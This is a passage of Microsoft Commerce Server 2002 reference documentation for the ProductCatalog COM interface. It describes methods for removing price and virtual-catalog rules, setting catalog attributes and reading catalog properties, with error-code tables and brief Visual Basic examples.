A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_PRICE_RULE_NOT_FOUND | [C++] 0x88980100 [Visual Basic] &H88980100 | The pricing rule could not be deleted because it doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the price rule for the entire catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be removed for that variant only.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RemovePriceRule("shoes", , True)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveSpecificationSea MethodrchClause [C++]

ProductCatalog.RemoveSpecificationSearchClause Method [Visual Basic]

Use this method to remove the last constraint from a specified specification search.

Definition

[C++]
HRESULT IProductCatalog3::RemoveSpecificationSearchClause(
 VARIANT* pstrSearchHandle,
 BSTR* pstrPoppedClause
);
[Visual Basic]
Function RemoveSpecificationSearchClause(
 pstrSearchHandle As Variant
) As String

Parameters

pstrSearchHandle [C++]
[in, out] A VARIANT that contains the specification search handle from which a constraint is to be removed.
pstrSearchHandle [Visual Basic]
A Variant that contains the specification search handle from which a constraint is to be removed.
pstrPoppedClause [C++]
[out, retval] A pointer to a BSTR used to return the removed clause.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the removed clause.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[C++] The pstrSearchHandle and pstrPoppedClause parameters contain valid data only if the method was accessed successfully.

This method always removes the last constraint that was added to the search using the AddSpecificationSearchClause method. The returned string will be in the same form as the original constraint.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'strRemovedClause will contain the removed clause after the call returns.
Set strRemovedClause = myProductCatalog.RemoveSpecificationSearchClause(strSearchHandle)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveVirtualCatalogRule Method [C++]

ProductCatalog.RemoveVirtualCatalogRule Method [Visual Basic]

Use this method to remove a virtual catalog rule.

Definition

[C++]
HRESULT IProductCatalog3::RemoveVirtualCatalogRule(
  BSTR strCatalogName,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub RemoveVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Variant,
  vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

strCatalogName [C++]
[in] A BSTR that contains the base catalog name.
strCatalogName [Visual Basic]
A String that contains the base catalog name.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in] A VARIANT that contains the variant ID to which the rule applies.
vrVariantID [Visual Basic]
A Variant that contains the variant ID to which the rule applies.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &Hx88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_RULE_NOT_FOUND | [C++] 0x889800FE [Visual Basic] &H889800FE | The rule could not be deleted because it doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the rule for the catalog specified in the strCatalogName parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example removes the rule for the "Shoes" catalog.
myVCatalog.RemoveVirtualCatalogRule("Shoes", "", True)

' The following exampe removes the rule for the "Mens" category
' in the "Shoe" catalog.
myVCatalog.RemoveVirtualCatalogRule("Shoes", "Mens", True)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::SetCatalogAttributes Method [C++]

ProductCatalog.SetCatalogAttributes Method [Visual Basic]

Use this method to set the attributes of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::SetCatalogAttributes(
 _Recordset* pRSCatalogAttributes,
 VARIANT fForceUpdate
);
[Visual Basic]
Sub SetCatalogAttributes(
 pRSCatalogAttributes As _Recordset,
 Optional fForceUpdate As Variant
)

Parameters

pRSCatalogAttributes [C++]
[in] A Recordset object containing the new attributes.
pRSCatalogAttributes [Visual Basic]
A Recordset object containing the new attributes.
fForceUpdate [C++]
[in, optional] A VARIANT that causes a forced update of the catalog attributes.
fForceUpdate [Visual Basic]
A Variant that causes a forced update of the catalog attributes.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_BLANK_LANGUAGE | [C++] 0x889800A5 [Visual Basic] &H889800A5 | The default language associated with this catalog cannot be blank.
E_CAT_CATALOG_DOESN’T_EXIST | [C++] 0x88980002 [Visual Basic] &Hx88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_DEFAULT_LANGUAGE | [C++] 0x889800B3 [Visual Basic] &Hx889800B3 | The default language that you specified does not exists as one of the valid catalog languages.
E_CAT_CATALOG_CHANGED | [C++] 0x88980012 [Visual Basic] &Hx88980012 | The catalog properties has been changed since it was last read.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetCatalogAttributes method to get a recordset of the current attributes. After the recordset has been modified, use it as the pRSCatalogAttributes parameter to the SetCatalogAttributes method to write the changes back to the catalog. The time stamps in the recordset will be compared to the time stamps of the attributes being updated for error detection.

The following attributes cannot be changed with this method:

  • CatalogName
  • ProductID
  • CatalogID
  • VariantID
  • IsVirtualCatalog
  • ProductTableUpdated
  • CustomCatalog
  • FreeTextIndexCreated
  • TimeStamp
  • FullTextCatalog
  • DisplayName
  • VirtualCatalogStatus

The DisplayName attribute cannot be modified because the current language of the catalog determines it. To update the display name for a specific language update the DisplayName_<Language> field of the recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example changes the catalog display name for English.

Set rsAttrib = myProductCatalog.Getcatalogattributes
rsAttrib("DisplayName_ENU") = "My Catalog"
myProductCatalog.Setcatalogattributes rsAttrib

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCatalogAttributes

[Visual Basic] ProductCatalog.GetCatalogAttributes


IProductCatalog3::SetCategoryCustomPrice Method [C++]

ProductCatalog.SetCategoryCustomPrice Method [Visual Basic]

The SetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCategoryCustomPrice

[Visual Basic] ProductCatalog.GetCategoryCustomPrice


IProductCatalog3::SetCustomCatalogAttributes Method [C++]

ProductCatalog.SetCustomCatalogAttributes Method [Visual Basic]

The SetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCustomCatalogAttributes

[Visual Basic] ProductCatalog.GetCustomCatalogAttributes


IProductCatalog3 Properties [C++]

ProductCatalog Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
BaseCatalogName | BSTR | This property is obsolete.
CatalogName | BSTR | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | BSTR | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | BSTR | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | _Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | _Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | _Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.
[Visual Basic]
Property | Type | Description
BaseCatalogName | String | This property is obsolete.
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | String | Contains the active language. This property is read/write.
RootCategories | Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.


IProductCatalog3::get_BaseCatalogName Property [C++]

ProductCatalog.BaseCatalogName Property [Visual Basic]

The BaseCatalogName property is obsolete. It always contains the name of the catalog at hand.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::get_CatalogName Property [C++]

ProductCatalog.CatalogName Property [Visual Basic]

The CatalogName property is a read-only String that contains the name of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory

Remarks

[C++] The CatalogName parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::get_IdentifyingProductProperty Property [C++]

ProductCatalog.IdentifyingProductProperty Property [Visual Basic]

The IdentifyingProductProperty property is a read-only String that contains the name of the unique identifier field for the products in this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_IdentifyingProductProperty(
 BSTR* IdentifyingProductProperty
);
[Visual Basic]
Property IdentifyingProductProperty As String

Parameters

IdentifyingProductProperty [C++]
[out, retval] A BSTR used to return the name of the identifying product property.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Out of memory.

Remarks

[C++] The IdentifyingProductProperty parameter contains valid data only if the property was accessed successfully.

The value of this property will always be "ProductID" for a virtual catalog.

The product ID is cached in the ProductCatalog object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingVariantProperty

[Visual Basic] ProductCatalog.IdentifyingVariantProperty


IProductCatalog3::get_IdentifyingVariantProperty Property [C++]

ProductCatalog.IdentifyingVariantProperty Property [Visual Basic]

The IdentifyingProductVariantProperty property is a read-only String that contains the name of the unique identifier field for product variants in this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_IdentifyingVariantProperty(
 BSTR* IdentifyingVariantProperty
);
[Visual Basic]
Property IdentifyingVariantProperty As String

Parameters

IdentifyingVariantProperty [C++]
[out, retval] A BSTR used to return the name of the identifying variant property.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..

Remarks

[C++] The IdentifyingVariantProperty parameter contains valid data only if the property was accessed successfully.

The value of this property will always be "VariantID" for a virtual catalog.

The variant ID is cached in the ProductCatalog object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingProductProperty

[Visual Basic] ProductCatalog.IdentifyingProductProperty


IProductCatalog3::get_Language, put_Language Property [C++]

ProductCatalog.Language Property [Visual Basic]

The Language property is a read/write string that contains the active language of the catalog.

Definition

[C++]

Get method:

HRESULT IProductCatalog3::get_Language(
  BSTR* Language
);

Put method:

HRESULT IProductCatalog3::put_Language(
  BSTR Language
);
[Visual Basic]
Property Language As String

Parameters

Language [C++]
[in] When putting the property, a BSTR that contains the language.
[out, retval] When getting the property, a BSTR used to return the language.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.

Remarks

[C++] The Language parameter contains valid data only if the property was accessed successfully.

The Language property specifies the culture name that will be used by all methods of this Product Catalog and on the Product and Category objects that are obtained from this ProductCatalog object. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

This value can only be one of the languages supported by the catalog. It defaults to the value of the vrDefaultLanguage parameter specified when the catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetLanguages

[Visual Basic] ProductCatalog.GetLanguages

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog


IProductCatalog3::get_RootCategories Property [C++]

ProductCatalog.RootCategories Property [Visual Basic]

The RootCategories property is a read-only recordset that contains the names of the categories that exist at the root level of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_RootCategories(
  VARIANT vrPropertiesRequired,
  VARIANT_BOOL fAlsoGetIncludedCatalogs
  _Recordset** RootCategories
);
[Visual Basic]
Property RootCategories(
  Optional vrPropertiesRequired As Variant
..Optional fAlsoGetIncludedCatalogs As Boolean
) As _Recordset

Parameters

vrPropertiesRequired [C++]
[in, optional] A VARIANT, subtype String, that contains a comma-separated list of the required property names.
vrPropertiesRequired [Visual Basic]
A VARIANT, subtype String, that contains a comma-separated list of the required property names.
fAlsoGetIncludedCatalogs [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to return included catalogs. A value of True (-1) indicates the RootCategories recordset will contain included catalogs and the root categories. A value of False (0) indicates the RootCategories recordset will only contain the root categories.
fAlsoGetIncludedCatalogs [Visual Basic]
A Boolean that specifies whether to return included catalogs. A value of True (-1) indicates the returned recordset will contain included catalogs and the root categories. A value of False (0) indicates the returned recordset will only contain the root categories. The default value is False (0).
RootCategories [C++]
[out, retval] A Recordset object used to return the root categories.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The RootCategories parameter contains valid data only if the property was accessed successfully.

Any category without parents is considered to be a root category.

[C++] The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Leading numbers in the property names in the vrPropertiesRequired parameter will be trimmed from the corresponding field names in the returned recordset. The data will be correct; only the field names will be incorrect. If this parameter is omitted, then the field names will be correct. Enclose field names that begin with a number in brackets to avoid this problem; for example, oProductCatalog.RootCategories("[123_Prop1],[123_ Prop2]").

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootProducts

[Visual Basic] ProductCatalog.RootProducts


IProductCatalog3::get_RootProducts Property [C++]

ProductCatalog.RootProducts Property [Visual Basic]

The RootProducts property is a read-only recordset that contains the products that exist at the root level of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_RootProducts(
 _Recordset** RootProducts
);
[Visual Basic]
Property RootProducts As _Recordset

Parameters

RootProducts [C++]
[out, retval] A Recordset object used to return the root products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RootProducts parameter contains valid data only if the property was accessed successfully.

Any product that is not contained within a category is considered to be a root product.

[C++] The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Products added by importing a comma-separated values (CSV) file will be root products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsRootProducts = myProductCatalog.RootProducts

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootCategories

[Visual Basic] ProductCatalog.RootCategories


IProductCatalog3::get_SearchableCategories Property [C++]

ProductCatalog.SearchableCategories Property [Visual Basic]

The SearchableCategories property is a read-only recordset that contains the names of all searchable categories.

Definition

[C++]
HRESULT IProductCatalog3::get_SearchableCategories(
 _Recordset** SearchableCategories
);
[Visual Basic]
Property SearchableCategories As _Recordset

Parameters

SearchableCategories [C++]
[out, retval] A Recordset object used to return the names of the searchable categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The SearchableCategories parameter contains valid data only if the property was accessed successfully.

The SearchableCategories property returns the names of all the categories in this catalog that can be queried using a specification search. Whether or not a particular category is specification searchable is determined by the value of the IsSearchable attribute. This property can be set at the time the category is created, or can be changed at any time using the SetCategoryProperties methods of the category object.

The Recordset object returned by this property will contain a single 128-character field called Name. Each row will contain the name of a searchable category.

If there are no searchable categories, a recordset with its EOF property set to VARIANT_TRUE will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory


CatalogProduct Recordset [C++]

CatalogProduct Recordset [Visual Basic]

The fields in this Recordset object will vary, depending on the product definitions in the catalog. The following table contains a list of common fields that will always be part of this Recordset object. Fields for multilingual properties will contain the value for the current language of the catalog.

Field name | Data type
CategoryName | String Maximum of 128 characters
Oid | Integer
DefinitionName | String Maximum of 128 characters
IsSearchable | Small integer
Cy_list_price | Money
TimeStamp | TimeStamp
OriginalPrice | Money
i_ClassType | Integer
ProductID | String Maximum of 256 characters
VariantID | String Maximum of 256 characters
CatalogName | String Maximum of 100 characters
LastModified | datetime
PrimaryParentCategory | String Maximum of 128 characters
UseCategoryPricing | boolean

Note

  • The Oid field is used internally by the Product Catalog System and should not be updated.

See Also

[Visual Basic] ProductCatalog.GuaranteedSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch

[Visual Basic] ProductCatalog.RootCategories

[Visual Basic] ProductCatalog.RootProducts

[C++] IProductCatalog3::GuaranteedSpecificationSearch

[C++] IProductCatalog3::PerformSpecificationSearch

[C++] IProductCatalog3::get_RootCategories

[C++] IProductCatalog3::get_RootProducts


Example Code for Product Catalog Objects

This section provides detailed examples of how to use the objects exposed by the Commerce Server 2002 Product Catalog System. The code examples do not show error checking or certain other formalities required for functional code.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

This section contains:

  • Code to Activate or Deactivate a Product
  • Code to Browse a Catalog
  • Code to Change How a Category is Displayed
  • Code to Find the Available Catalogs
  • Code to Hide Searchable Categories
  • Code to Perform a Search of a Catalog
  • Code to Join an External Table to Product Recordsets
  • Code to Perform a Specification Search of a Catalog
  • Code to Stage Products and Catalogs by Time
  • Code to Use Caching with a Catalog


Code to Activate or Deactivate a Product

Normally, catalog data is visible to users as soon as it is placed in the Product Catalog System. It is possible to activate or deactivate a product in a catalog, that is to make it visible or hide it from users, by adding an additional property to that product, and then filtering on that property.

Use the following steps to implement this scenario:

  1. Define a new property of type number and call it IsActive. Set the AssignToAll attribute to True and the DisplayOnSite attribute to False. Set the default value to either 0 (not available) or 1 (available).
  2. When creating or editing products, a value can be specified for this property, either 0 (not available) or 1 (available).
